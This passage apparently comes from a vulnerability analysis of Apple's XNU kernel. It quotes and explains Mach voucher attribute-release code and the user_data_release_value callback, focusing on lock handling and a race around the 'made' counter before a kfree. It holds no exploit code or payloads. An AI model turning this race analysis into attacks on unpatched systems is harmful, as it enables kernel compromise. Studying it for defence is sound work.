<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_releasing</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivac_unlock</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* claim releasing */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_releasing </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> TRUE</span><span class="BGLtzooHlW-c2">;</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c11">iv_index_to_key</span><span> goes back from the </span><span class="BGLtzooHlW-c11">key_index</span><span> to the key value (which in practice will be 1 greater than the key index.) Then the </span><span class="BGLtzooHlW-c11">ivace_entry</span><span class="BGLtzooHlW-c10"> is marked as "releasing". The code continues:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.2d8847df4f2d48c8c26863add2566524e8dbcae8"></a><a id="t.44"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> value </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_value</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">redrive</span><span class="BGLtzooHlW-c2">:</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">assert</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">value </span><span class="BGLtzooHlW-c2">==</span><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_value</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">assert</span><span class="BGLtzooHlW-c2">(!</span><span class="BGLtzooHlW-c4">ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_free</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> made </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_made</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivac_unlock</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* callout to manager's release_value */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> kr </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivam</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivam_release_value</span><span class="BGLtzooHlW-c2">)(</span><span class="BGLtzooHlW-c4">ivam</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> key</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> value</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> made</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* recalculate entry address as table may have changed */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivac_lock</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">&</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivac_table</span><span class="BGLtzooHlW-c2">[</span><span class="BGLtzooHlW-c4">value_index</span><span class="BGLtzooHlW-c2">];</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">assert</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">value </span><span class="BGLtzooHlW-c2">==</span><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_value</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/*</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * new made values raced with this return. If the</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * manager OK'ed the prior release, we have to start</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * the made numbering over again (pretend the race</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * didn't happen). If the entry has zero refs again,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * re-drive the release.</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_made </span><span class="BGLtzooHlW-c2">!=</span><span class="BGLtzooHlW-c4"> made</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">KERN_SUCCESS </span><span class="BGLtzooHlW-c2">==</span><span class="BGLtzooHlW-c4"> kr</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_made </span><span class="BGLtzooHlW-c2">-=</span><span class="BGLtzooHlW-c4"> made</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">==</span><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_refs</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">goto</span><span class="BGLtzooHlW-c4"> redrive</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_releasing </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> FALSE</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivac_unlock</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">else</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Note that we enter this snippet with the </span><span class="BGLtzooHlW-c11">ivac</span><span>'s lock held. The </span><span class="BGLtzooHlW-c11">ivace->ivace_value</span><span> and </span><span class="BGLtzooHlW-c11">ivace->ivace_made</span><span> values are read under that lock, then the </span><span class="BGLtzooHlW-c11">ivac</span><span> lock is dropped and the attribute managers </span><span class="BGLtzooHlW-c11">release_value</span><span class="BGLtzooHlW-c10"> callback is called:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.878791384d9e68560db9fcecd2cc8d16dddfac08"></a><a id="t.45"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> kr </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivam</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivam_release_value</span><span class="BGLtzooHlW-c2">)(</span><span class="BGLtzooHlW-c4">ivam</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> key</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> value</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> made</span><span class="BGLtzooHlW-c2">);</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Here's the </span><span class="BGLtzooHlW-c11">user_data</span><span> </span><span class="BGLtzooHlW-c11">ivam_release_value</span><span class="BGLtzooHlW-c10"> callback:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.3ccebbb1131353580cda71b6754e18fb5fd88dab"></a><a id="t.46"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">static</span><span class="BGLtzooHlW-c3"> kern_return_t</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">user_data_release_value</span><span class="BGLtzooHlW-c2">(</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ipc_voucher_attr_manager_t __assert_only manager</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_key_t __assert_only key</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_value_handle_t value</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_value_reference_t sync</span><span class="BGLtzooHlW-c2">)</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> user_data_element_t elem</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_index_t hash</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">assert</span><span class="BGLtzooHlW-c2">(&</span><span class="BGLtzooHlW-c4">user_data_manager </span><span class="BGLtzooHlW-c2">==</span><span class="BGLtzooHlW-c4"> manager</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> USER_DATA_ASSERT_KEY</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">key</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> elem </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">user_data_element_t</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4">value</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> hash </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> elem</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">e_hash</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> user_data_lock</span><span class="BGLtzooHlW-c2">();</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">sync </span><span class="BGLtzooHlW-c2">==</span><span class="BGLtzooHlW-c4"> elem</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">e_made</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> queue_remove</span><span class="BGLtzooHlW-c2">(&</span><span class="BGLtzooHlW-c4">user_data_bucket</span><span class="BGLtzooHlW-c2">[</span><span class="BGLtzooHlW-c4">hash</span><span class="BGLtzooHlW-c2">],</span><span class="BGLtzooHlW-c4"> elem</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> user_data_element_t</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> e_hash_link</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> user_data_unlock</span><span class="BGLtzooHlW-c2">();</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> kfree</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">elem</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">sizeof</span><span class="BGLtzooHlW-c2">(*</span><span class="BGLtzooHlW-c4">elem</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">+</span><span class="BGLtzooHlW-c4"> elem</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">e_size</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c4"> KERN_SUCCESS</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">assert</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">sync </span><span class="BGLtzooHlW-c2"><</span><span class="BGLtzooHlW-c4"> elem</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">e_made</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> user_data_unlock</span><span class="BGLtzooHlW-c2">();</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c4"> KERN_FAILURE</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">}</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Under the </span><span class="BGLtzooHlW-c11">user_data</span><span> lock (via </span><span class="BGLtzooHlW-c11">user_data_lock()</span><span>) the code checks whether the </span><span class="BGLtzooHlW-c11">user_data_value_element</span><span>'s </span><span class="BGLtzooHlW-c11">e_made</span><span> field is </span><span class="BGLtzooHlW-c17">equal</span><span> to the </span><span class="BGLtzooHlW-c11">sync</span><span> value passed in. Looking back at the caller, </span><span class="BGLtzooHlW-c11">sync</span><span> is </span><span class="BGLtzooHlW-c11">ivace->ivace_made</span><span>. If and only if those values are equal does this method remove the </span><span class="BGLtzooHlW-c11">user_data_value_element</span><span> from the hashtable and free it (via </span><span class="BGLtzooHlW-c11">kfree</span><span>) before returning success. If </span><span class="BGLtzooHlW-c11">sync</span><span> isn't equal to </span><span class="BGLtzooHlW-c11">e_made</span><span>, this method returns </span><span class="BGLtzooHlW-c11">KERN_FAILURE</span><span class="BGLtzooHlW-c10">.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Having looked at the semantics of </span><span class="BGLtzooHlW-c11">user_data_free_value</span><span class="BGLtzooHlW-c10"> let's look back at the callsite:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.900b61ea9371ab65b27de652c8f9e5e6230baf4e"></a><a id="t.47"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">redrive</span><span class="BGLtzooHlW-c2">:</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">assert</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">value </span><span class="BGLtzooHlW-c2">==</span><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_value</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">assert</span><span class="BGLtzooHlW-c2">(!</span><span class="BGLtzooHlW-c4">ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_free</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> made </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_made</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivac_unlock</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* callout to manager's release_value */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> kr </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivam</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivam_release_value</span><span class="BGLtzooHlW-c2">)(</span><span class="BGLtzooHlW-c4">ivam</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> key</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> value</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> made</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* recalculate entry address as table may have changed */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivac_lock</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">&</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivac_table</span><span class="BGLtzooHlW-c2">[</span><span class="BGLtzooHlW-c4">value_index</span><span class="BGLtzooHlW-c2">];</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">assert</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">value </span><span class="BGLtzooHlW-c2">==</span><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_value</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/*</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * new made values raced with this return. If the</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * manager OK'ed the prior release, we have to start</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * the made numbering over again (pretend the race</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * didn't happen). If the entry has zero refs again,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * re-drive the release.</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_made </span><span class="BGLtzooHlW-c2">!=</span><span class="BGLtzooHlW-c4"> made</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">KERN_SUCCESS </span><span class="BGLtzooHlW-c2">==</span><span class="BGLtzooHlW-c4"> kr</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_made </span><span class="BGLtzooHlW-c2">-=</span><span class="BGLtzooHlW-c4"> made</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">==</span><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_refs</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">goto</span><span class="BGLtzooHlW-c4"> redrive</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivace</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">ivace_releasing </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> FALSE</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivac_unlock</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">else</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
